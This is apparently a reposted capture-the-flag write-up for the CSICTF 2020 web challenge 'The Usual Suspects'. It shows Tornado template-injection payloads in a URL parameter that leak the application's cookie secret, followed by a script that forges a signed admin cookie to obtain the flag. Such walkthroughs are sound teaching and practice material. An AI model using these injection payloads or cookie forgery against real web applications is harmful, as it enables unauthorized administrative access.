

## The Usual Suspects

发表于 2021-01-09 分类于 [Challenge](#) , [2020](#) , [CSICTF](#) , [Web Challenge](#) | [2020](#) | [CSICTF](#) | [Web](#) | [The Usual Suspects](#)

[点击此处](#) 获得更好的阅读体验

### WriteUp来源

<https://dunsp4rce.github.io/csictf-2020/web/2020/07/21/The-Usual-Suspects.html>

by anishbadhri

### 题目描述

*You may think I walk with no 'name' because it can be changed whenever I want. I am a 'person' whose 'secret' can never be found. Can you find this 'person's 'secret'?*

### 题目考点

### 解题思路

The website consists of a `<select>` with chocolate, vanilla and butterscotch. On selecting one and submitting, a message is displayed.

On inspecting the url, it is seen that the parameter icecream is used as, `icecream={{chocolate}}`. This makes it clear that script injection can be done. By inserting some random string like `{{strawberry}}`, we can see that an error is thrown, but it is visible that the parameter is inserted into a py file. Thus, python scripts can be inserted as a parameter.

The python function `globals()` can be used to view all files. Inserting `{{globals().keys()}}`, a list of variables used in the code is obtained.

```
l dict_keys(['escape', 'xml_escape', 'url_escape', 'json_encode', 'squeeze', 'linkify', 'datetime', 'tt_utf8', 'tt_string_types', '__name__', '__loader__', 'chocolate',
```

The next step would be to find out which variable to use in this. On entering the webpage, a cookie called `admin` is set to `false`. This cookie is a Tornado cookie. To create a new token with `admin` as `true`, a secret key would be needed. This secret key is in the Tornado application object.

There is an application object as seen in the result of `globals()`. To find the members of this object, `dir(application)` can be sent as a parameter to the page.

```
l ['__call__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattr__', '__gt__', '__hash__', '__init__', '__init_:
```

With the settings object, passing `application.settings` returns the cookie secret. `'cookie_secret': 'MangoDB\n'`. This can be used to create a signed token of `admin` as `true`.

**Solution Script:**

```
1 import tornado.ioloop
2 import tornado.web
3 import time
4 class User(tornado.web.RequestHandler):
5     def get(self):
6         cookieName = "admin"
7         self.set_secure_cookie(cookieName, 'true')
8 application = tornado.web.Application([
9     (r"/", User),
10 ], cookie_secret="MangoDB\n")
11 if __name__ == "__main__":
12     application.listen(8888)
13     tornado.ioloop.IOLoop.instance().start()
```

### Flag

```
l csictf{h3r3_i_4m}
```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge2020/CSICTF/Web/8T63cMnkBE5q9VBhRd3utA.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Challenge #2020 #Web #CSICTF](#)

[Body Count](#)

[CCC](#)